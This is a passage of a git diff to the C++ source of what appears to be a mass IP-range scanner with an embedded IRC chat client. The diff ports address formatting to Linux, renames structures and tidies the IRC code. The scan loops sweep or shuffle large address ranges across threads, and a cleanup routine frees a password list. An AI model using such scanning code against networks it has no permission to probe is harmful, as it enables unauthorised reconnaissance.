new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(iip, sizeof(iip)); while(cons >= gThreads) Sleep(300); @@ -2323,8 +2298,8 @@ int startScan(char* args) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) CreateDirectory(L"./result_files", NULL); #else - struct stat st = {0}; - if (stat("./result_files", &st) == -1) { + struct stat str = {0}; + if (stat("./result_files", &str) == -1) { mkdir("./result_files", 0700); } #endif @@ -2379,26 +2354,32 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); unsigned long ip1 = (ipsstart[0] * 16777216) + (ipsstart[1] * 65536) + (ipsstart[2] * 256) + ipsstart[3]; unsigned long ip2 = (ipsend[0] * 16777216) + (ipsend[1] * 65536) + (ipsend[2] * 256) + ipsend[3]; - - switch (gShuffle) { + + switch (gShuffle) { case true: { std::vector<std::string> ipVec; struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - int offset = ip2 - i; + unsigned long offset = ip2 - i; tAddr.s_addr = i; - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#else + tAddr.s_addr = ntohl(tAddr.s_addr); + const char *ipStr = inet_ntoa(tAddr); + ipVec.push_back((char*)ipStr); +#endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { if (globalScanFlag == false) goto haters_gonna_hate_IPM; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); while (cons >= gThreads) Sleep(500); @@ -2427,14 +2408,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); while (cons >= gThreads) Sleep(500); ++indexIP; - tAddr.s_addr = i; - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); + tAddr.s_addr = i; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#else + strcpy(res, inet_ntoa(tAddr)); +#endif strcpy(st->argv, res); strcpy(saveStartIP, res); @@ -2527,8 +2512,6 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_t thrs; pthread_create(&thrs, NULL, (void *(*)(void*))&_saver, NULL); #endif - char iipFinish[64] = {0}; - strcpy(top_level_domain, gFirstDom); if(trackerOK) @@ -2696,8 +2679,7 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); pthread_create(&thrtt, NULL, (void *(*)(void*))&_timer, NULL); #endif - stt->doEmitionChangeStatus("Scanning..."); - sockstruct *st = NULL; + stt->doEmitionChangeStatus("Scanning..."); for (gC = 0; gC < flCounter; ++gC) { strcpy(metaRange, std::to_string(ipsstartfl[gC][0]).c_str()); @@ -2728,16 +2710,20 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); if (globalScanFlag == false) break; int offset = ip2 - i; - tAddr.s_addr = i; - ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); - + tAddr.s_addr = i; +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + ipVec.push_back(std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)); +#else + ipVec.push_back(inet_ntoa(tAddr)); +#endif if (ipVec.size() >= (offset < 1000 ? offset : 1000)) { std::random_shuffle(ipVec.begin(), ipVec.end()); while (ipVec.size() != 0) { if (globalScanFlag == false) goto haters_gonna_hate_IM; - st = new sockstruct(); + + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); while (cons >= gThreads) Sleep(500); @@ -2765,14 +2751,18 @@ stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads)); struct in_addr tAddr; for (unsigned long i = ip1; i <= ip2; ++i) { if (globalScanFlag == false) break; - st = new sockstruct(); + st = new ST(); ZeroMemory(st->argv, sizeof(st->argv)); ZeroMemory(res, sizeof(res)); while (cons >= gThreads) Sleep(500); ++indexIP; tAddr.s_addr = i; - strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) + strcpy(res, (std::to_string(tAddr.S_un.S_un_b.s_b4) + "." + std::to_string(tAddr.S_un.S_un_b.s_b3) + "." + std::to_string(tAddr.S_un.S_un_b.s_b2) + "." + std::to_string(tAddr.S_un.S_un_b.s_b1)).c_str()); +#else + strcpy(res, inet_ntoa(tAddr)); +#endif strcpy(st->argv, res); strcpy(saveStartIP, res); @@ -2902,8 +2892,7 @@ void nCleanup(){ passLst = NULL; }; if(GlobalNegatives != NULL) - { - char temp[512] = {0}; + { for(int i = 0; i < GlobalNegativeSize; ++i) { delete []GlobalNegatives[i]; diff --git a/oIRC_Th.cpp b/oIRC_Th.cpp index 286177d..4a0ee84 100644 --- a/oIRC_Th.cpp +++ b/oIRC_Th.cpp @@ -1,5 +1,5 @@ #include "oIRC_Th.h" -#include <QtMultimedia\qsound.h> +#include <QtMultimedia/qsound.h> #include "externData.h" #include "externFunctions.h" @@ -76,10 +76,8 @@ QString GetNickColor(char *sn) QString nickColorStr = hexNick.mid(0, 6); QString nickBGColorStr = hexNick.mid(hexNick.size() - 6, hexNick.size()); - int nickColor = nickColorStr.toUInt(NULL, 16); - int nickBGColor = nickBGColorStr.toUInt(NULL, 16); - int dim = QString::number(nickColor).length(); - int factor = pow((float)10, dim); + int nickColor = nickColorStr.toUInt(NULL, 16); + int dim = QString::number(nickColor).length(); nickColor += (7*origLen + nickColor*6 + 123456 - hln*hln*hln*hln + (int)(str[0].toLatin1())*123); nickColorStr.setNum(nickColor, 16); @@ -93,12 +91,14 @@ QString GetNickColor(char *sn) else nickBGColorStr = "#000000"; return nickColorStr + "; background-color: " + nickBGColorStr + ";"; -}; +} + bool doHL(char *rawData) { if(strstr(rawData, ircNick) != NULL) return true; else return false; -}; +} + void _blinkNLine(QString tempData = "", QString senderNick = "") { if(widgetIsHidden == false && tray->isVisible() == false) @@ -107,29 +107,30 @@ void _blinkNLine(QString tempData = "", QString senderNick = "") if(irc_nmb->isRunning() == false) irc_nmb->start(); ircTh->doEmitUnhidePopup(tempData, senderNick); -#pragma region QTGUI_Area if(printDelimiter) ircTh->doEmitChangeIRCData(false, false, 0, "------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------", ""); - printDelimiter = false; -#pragma endregion + printDelimiter = false; }; -}; +} + int sendS(int lSock, char *msg, int len, int mode) { - int b; - - b = send(lSock, msg, len, mode); - if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); + if(lSock == ENOTSOCK || lSock <= 0 || !connectedToIRC) { + ircTh->doEmitChangeRedIRCData("Not connected."); + return -1; + } + int b = send(lSock, msg, len, mode); + if(b == -1) ircTh->doEmitChangeRedIRCData("[IRC: RecvS error - (" + QString::number(WSAGetLastError()) + ")]"); else { Activity += len; -#pragma region QTGUI_Area ircTh->doEmitChangeRawIRCDataOut(QString::fromLocal8Bit(msg)); -#pragma endregion + }; return b; -}; -int recvS(int lSock, char *recvBuffT, int len, int mode) +} + +int recvS(int lSock, char *recvBuffT, int len) { int b; char recvBuff[MAX_IRC_RECV_LEN] = {0}; @@ -141,14 +142,15 @@ int recvS(int lSock, char *recvBuffT, int len, int mode) Activity += len; strcpy(recvBuffT, recvBuff); -#pragma region QTGUI_Area + ircTh->doEmitChangeRawIRCDataInc(QString::fromLocal8Bit(recvBuff)); -#pragma endregion + ZeroMemory(recvBuff, sizeof(recvBuff)); }; return b; -}; -void UserNickInit(SOCKET sock) +} + +void UserNickInit() { strcpy(ircNick, ui->ircNickBox->text().toLocal8Bit().data()); char tempBuffUser[1024] = {0}; @@ -169,7 +171,8 @@ void UserNickInit(SOCKET sock) memset(tempBuffUser, '0', sizeof(tempBuffUser)); memset(tempBuffNick, '0', sizeof(tempBuffNick)); -}; +} + void GetNicks() { char chanTemp[64] = {0}; @@ -177,7 +180,8 @@ void GetNicks() strcat(chanTemp, IRC_CHAN); strcat(chanTemp, "\r\n"); sendS(lSock, chanTemp, strlen(chanTemp), 0); -}; +} + char *GetServerName(char *buff) { char *temp1 = NULL; @@ -191,7 +195,8 @@ char *GetServerName(char *buff) }; return name; -}; +} + int jFlag1 = 0; void __pinger(char *recvBuff) { @@ -293,18 +298,17 @@ void __pinger(char *recvBuff) if(ircPTh->isRunning() == false) ircPTh->start(); memset(tmpa, '\0', sizeof(tmpa)); }; -}; +} void IRCLoop() { nickFlag = 0; offlineFlag = 0; -#pragma region QTGUI_Area - ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); -#pragma endregion - int err, yes = 1; + ircTh->doEmitChangeYellowIRCData("Connecting to IRC server " + QString(ircServer) + ":" + QString(ircPort) + "..."); + + jFlag1 = 0; sockaddr_in addr; addr.sin_family = AF_INET; @@ -363,7 +367,7 @@ void IRCLoop() sendS(lSock, tempSendMsg, strlen(tempSendMsg), 0); - recvS(lSock, temprecvBuff, sizeof(temprecvBuff), 0); + recvS(lSock, temprecvBuff, sizeof(temprecvBuff)); if(strstr(temprecvBuff, "HTTP/1.1 200 OK") || strstr(temprecvBuff, "200 OK") || strstr(temprecvBuff, "OK 200") || strstr(temprecvBuff, "200 Connection") ) @@ -382,7 +386,7 @@ void IRCLoop() sendS(lSock, "\r\n", strlen("\r\n"), 0); }; - UserNickInit(lSock); + UserNickInit(); char recvBuffG[MAX_IRC_RECV_LEN] = {0}; char serverRealName[256] = {0}; @@ -391,14 +395,14 @@ void IRCLoop() char pTemp[32] = {0}; strcpy(pTemp, "PRIV"); strcat(pTemp, "MSG "); - while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN, 0) > 0 && iWantToConnect) + while(recvS(lSock, recvBuffG, MAX_IRC_RECV_LEN) > 0 && iWantToConnect) { if(strlen(recvBuffG) > 0) { char *recvBuff = recvBuffG; -#pragma region Pinger + __pinger(recvBuff); -#pragma endregion + char comStr[512] = {0}; char delimBf[512] = {0}; strcpy(delimBf, ":"); @@ -433,9 +437,9 @@ void IRCLoop() if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "while we process your") != NULL || strstr(comStr, "Looking up your hostname") != NULL) ) { -#pragma region QTGUI_Area + ircTh->doEmitChangeGreenIRCData("[OK] Connected to irc server: " + ui->ircServerBox->text()+ ":" + ui->serverPortBox->text() + "."); -#pragma endregion + if(nameLocked == false) { nameLocked = true; @@ -443,7 +447,7 @@ void IRCLoop() }; Sleep(500); - UserNickInit(lSock); + UserNickInit(); Sleep(500); char chanTemp[32] = {0}; @@ -456,17 +460,17 @@ void IRCLoop() { if(strstr(comStr, "Registration timed out") != NULL) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Registration timed out)"); ircTh->terminate(); -#pragma endregion + } else { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("-//- [!] Connection failure. (Closed link)"); ircTh->terminate(); -#pragma endregion + }; } else if(strstr(comStr, serverRealName) != NULL && strstr(comStr, "flooding") != NULL) @@ -539,25 +543,25 @@ void IRCLoop() } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 432 ") > 0 || strstr(comStr, "Erroneous Nickname") > 0)) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] Erroneous Nickname: Illegal characters."); -#pragma endregion + } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 433 ") > 0 || strstr(comStr, "Nickname is already") > 0) ) { -#pragma region QTGUI_Area + QTime time = QTime::currentTime(); qsrand((uint)time.msec()); ircTh->doEmitChangeRedIRCData("[Nope] Nickname is already in use."); ircTh->doEmitSetNick("ns_" + QString::number(qrand() % 8999 + 1000 )); -#pragma endregion - UserNickInit(lSock); + + UserNickInit(); } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, " 438 ") > 0 || strstr(comStr, "Nick change too") > 0)) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[Nope] You are changing nicks too fast."); -#pragma endregion + } else if(strstr(comStr, serverRealName) != NULL && (strstr(comStr, "End of /NAMES list") != NULL || strstr(comStr, "End of /names list") != NULL || strstr(comStr, "end of /NAMES list") != NULL || strstr(comStr, "end of /names list") != NULL) @@ -582,7 +586,7 @@ void IRCLoop() strncpy(leaverNick, temp1, (sz < 16 ? sz : 16)); -#pragma region QTGUI_Area + if(strstr(comStr, "QUIT :Ping timeout") != NULL) { ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel (Ping timeout)."); @@ -593,7 +597,7 @@ void IRCLoop() ircTh->doEmitChangeYellowIRCData("-//- " + QString(leaverNick) + " left channel."); _blinkNLine(QString(leaverNick) + " left channel.", "[Server]"); }; -#pragma endregion + }; }; }; @@ -612,9 +616,9 @@ void IRCLoop() memset(temp + strlen(temp), '\0', 1); QString newNick = QString((char*)(temp + strlen("NICK :"))); -#pragma region QTGUI_Area + ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] is now known as [" + newNick + "]."); -#pragma endregion + _blinkNLine("[" + QString(senderNick) + "] is now known as [" + newNick + "].", "[Server]"); } @@ -629,7 +633,7 @@ void IRCLoop() int nickLen = temp2 - temp; if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); -#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) { ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] joined the channel."); @@ -655,7 +659,7 @@ void IRCLoop() connectedToIRC = true; }; }; -#pragma endregion + } else if(iWantToConnect && (strstr(comStr, "PART #") > 0 || strstr(comStr, "Part #") > 0 || strstr(comStr, "part #") > 0)) @@ -668,10 +672,10 @@ void IRCLoop() int nickLen = temp2 - temp; if(nickLen > 0) strncpy(senderNick, temp + 1, nickLen - 1); -#pragma region QTGUI_Area + if(QString::fromLocal8Bit(senderNick) != ui->ircNickBox->text()) ircTh->doEmitChangeYellowIRCData("[" + QString(senderNick) + "] left the channel."); else ircTh->doEmitChangeYellowIRCData("You have left the channel."); -#pragma endregion + }; } else if(strstri(comStr, privTemp) != NULL) @@ -686,9 +690,8 @@ void IRCLoop() char *temp = NULL; char *temp2 = NULL; -#pragma region Pinger __pinger(recvBuff); -#pragma endregion + char senderNick[32] = {0}; if(strstr(tprv, ":") != NULL) temp = strstr(tprv, ":"); if(strstr(temp, "!") != NULL) temp2 = strstr(tprv, "!"); @@ -727,14 +730,14 @@ void IRCLoop() _blinkNLine(strf, QString::fromLocal8Bit(senderNick)); ircTh->doEmitionPlayDckingSound(); bool HLFlag = doHL(strf.toLocal8Bit().data()); - int cCode = 0; -#pragma region QTGUI_Area + int cCode = 0; ircTh->doEmitChangeIRCData(false, HLFlag, cCode, strf, " <a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); -#pragma endregion + }; }; }; }; + ZeroMemory(senderNick, sizeof(senderNick)); } @@ -782,9 +785,9 @@ void IRCLoop() ircTh->doEmitionPlayDckingSound(); bool HLFlag = doHL(strf.toLocal8Bit().data()); int cCode = 0; -#pragma region QTGUI_Area + ircTh->doEmitChangeIRCData(true, HLFlag, cCode, strf, "<a href=\"nesca:" + QString::fromLocal8Bit(senderNick) + "\"><font style=\"color:#" + GetNickColor(senderNick) + "\">[" + QString::fromLocal8Bit(senderNick) + "]:</font></a>"); -#pragma endregion + }; }; }; @@ -799,9 +802,9 @@ void IRCLoop() if(iWantToConnect == true) { -#pragma region QTGUI_Area + ircTh->doEmitChangeRedIRCData("[-//-] IRC server went offline."); -#pragma endregion + _blinkNLine("IRC server offlined!", "[Server]"); Sleep(5000); connectedToIRC == false; @@ -809,11 +812,11 @@ void IRCLoop() } else { -#pragma region QTGUI_Area + if(proxyEnabledFlag) ircTh->doEmitChangeRedIRCData("[-//-] Cannot connect to proxy. (" + QString::number(WSAGetLastError()) + ")" ); else ircTh->doEmitChangeRedIRCData("[-//-] Connection failed. (" + QString::number(WSAGetLastError()) + ")" ); -#pragma endregion + }; CSSOCKET(lSock); }; @@ -825,4 +828,4 @@ void oIRC_Th::run() { IRCLoop(); ircTh->doEmitIRCOfflined(); -}; \ No newline at end of file +};